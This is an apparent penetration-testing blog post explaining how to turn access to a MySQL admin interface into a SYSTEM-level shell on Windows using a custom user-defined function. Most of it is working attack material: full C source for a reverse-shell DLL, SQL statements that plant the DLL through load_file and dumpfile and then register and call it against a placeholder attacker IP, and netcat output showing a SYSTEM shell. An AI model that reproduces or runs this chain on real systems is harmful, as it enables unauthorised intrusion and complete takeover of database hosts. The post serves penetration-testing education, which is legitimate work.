Advisory December 23, 2012

Using UDF in Penetration Testing Part 2

Before continuing, we are assuming – again – that we have already gained access to a MySQL administration interface (the way we did that, is out of the scope of this post) and we want to acquire a command shell in order to penetrate further into the system. Finally, we are assuming that the MySQL service runs with SYSTEM privileges, as per its default installation.

To sum up, as mentioned in the previous post, we will create a UDF which, when called, spawns a command shell to our attacking machine.

The code that follows performs exactly that:

#pragma once
 
#pragma comment(lib,"Ws2_32.lib")
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mysql.h>
#include <tchar.h>
 
#define DLLEXP __declspec(dllexport)
 
// Functions needed by MySQL UDF
extern "C" {
        DLLEXP my_bool reverseShell_udf_init(UDF_INIT *initid, UDF_ARGS *args, char *message);
        DLLEXP int reverseShell_udf(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error, char *result, unsigned long *length);
}
 
DLLEXP my_bool reverseShell_udf_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
        if(args->arg_count != 2) {
                strcpy_s(message, sizeof("reverseShell_udf()usage: select reverseShell(\"ip\",\"port\")"), "reverseShell_udf()usage: select reverseShell(\"ip\",\"port\")");
                return 1;
        }
        if (args->arg_type[0] != STRING_RESULT || args->arg_type[1] != STRING_RESULT) {
                strcpy_s(message, sizeof("reverseShell_udf() requires a valid ip and port"), "reverseShell_udf() requires a valid ip and port" );
                return 1;
        }
        return 0;
}
 
// Main function logic
 
DLLEXP int reverseShell_udf(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error, char *result, unsigned long *length) {
        // Connection variables
        u_short uPort = atoi(args->args[1]);
        char *cAddress = args->args[0];
        WSADATA wsaData = {0};                          // Initialize Winsock
        WORD wsaDataVer = MAKEWORD(2, 2);       // WSADATA structure Version
        SOCKET sock;
        struct sockaddr_in sin;
        int sin_size = sizeof(sin);
      
        // Definition of STARTUPINFO and PROCESS_INFORMATION structures
        STARTUPINFO si;                                         // Structure needed for CreateProcess()
        PROCESS_INFORMATION pi;                         // Structure needed for CreateProcess()
              
        ZeroMemory(&sin, sizeof(sin));
        ZeroMemory(&si, sizeof(si));
      
        // Socket initialization & connection
        WSAStartup(wsaDataVer, &wsaData);
        sock = WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
        sin.sin_family = AF_INET;
        sin.sin_port = htons(uPort);
        sin.sin_addr.s_addr = inet_addr(cAddress);
        connect(sock, (struct sockaddr*)&sin, sin_size);
      
        // Preparation of CreateProcess()
        si.cb = sizeof(si);
        si.dwFlags = STARTF_USESTDHANDLES;
        si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
      
        CreateProcess (NULL, "cmd.exe", NULL, NULL, TRUE, 0, 0, NULL, &si, &pi);
      
        return 0;
}

After compiling the above code into a .dll file, all we need to do, is to copy it to the MySQL’s plug-in directory. In order to figure out which directory this is, we can run the following SQL statement:

mysql> show variables like 'plugin_dir';
+---------------+----------------------------------------------------------+
| Variable_name | Value                                                    |
+---------------+----------------------------------------------------------+
| plugin_dir    | C:\Program Files (x86)\MySQL\MySQL Server 5.1\lib/plugin |
+---------------+----------------------------------------------------------+
1 row in set (0.03 sec)

As you may already noticed, the final part of the displayed directory is (“/plugin”), with a forward slash “/”. This used to be a MySQL bug, which is fixed at the newer versions, although it is still displayed like that (more info about the bug can be found at: http://bugs.mysql.com/bug.php?id=45549).

So, by copying the created .dll into the above directory, we can now use the exported function via MySQL:

mysql> create function reverseShell_udf returns integer soname 'reverseShell_udf.dll';
Query OK, 0 rows affected (0.00 sec)

The final step, is to start a listener on the attacking machine, and call the exported function via SQL:

mysql> select reverseShell_udf("IP_OF_ATTACKER","4444");
+--------------------------------------+
| reverseShell_udf("IP_OF_ATTACKER ","4444") |
+--------------------------------------+
|                          55834574848 |
+--------------------------------------+

1 row in set (0.01 sec)

We can see the shell spawning at the attacker’s machine:

C:\Users\user>nc -lvvp 4444
listening on [any] 4444 ...
connect to [IP_OF_ATTACKER] from pentest [IP_OF_TARGET] 1124

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\ProgramData\MySQL\MySQL Server 5.1\Data>whoami
whoami
nt authority\system

C:\ProgramData\MySQL\MySQL Server 5.1\Data>

Since the MySQL service was running with SYSTEM privileges, a SYSTEM privileges shell spawned!

In a more real-life scenario we might not be able to copy our evil .dll to the MySQL plug-in directory, but we might be able to upload it to a writeable directory. We will then, dump it to a dummy table and then load it into a file where it’s location will be the plug-in directory. The above are shown below:

mysql> create table shell(line blob);
Query OK, 0 rows affected (0.08 sec)

mysql> insert into shell values(load_file('C:\\WRITEABLEDIR\\reverseShell_udf.dll'));
Query OK, 1 row affected (0.05 sec)

mysql> select * from shell into dumpfile 'C:\\Program Files (x86)\\MySQL\\MySQL Server 5.1\\lib\\plugin\\reverseShell_udf.dll';
Query OK, 1 row affected (0.00 sec)

mysql> create function reverseShell_udf returns integer soname 'reverseShell_udf.dll';
Query OK, 0 rows affected (0.00 sec)

mysql> select reverseShell_udf("IP_OF_ATTACKER","4444");
+--------------------------------------+
| reverseShell_udf("IP_OF_ATTACKER ","4444") |
+--------------------------------------+
|                         214748364800 |
+--------------------------------------+
1 row in set (0.01 sec)

Once again, we get a SYSTEM shell at our attacking machine:

C:\Users\user>nc -lvvp 4444
listening on [any] 4444 ...
connect to [IP_OF_ATTACKER] from pentest [IP_OF_TARGET] 1261

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\ProgramData\MySQL\MySQL Server 5.1\Data>whoami
whoami
nt authority\system

C:\ProgramData\MySQL\MySQL Server 5.1\Data>

That’s all for this post! Stay tuned for more useful tips to come.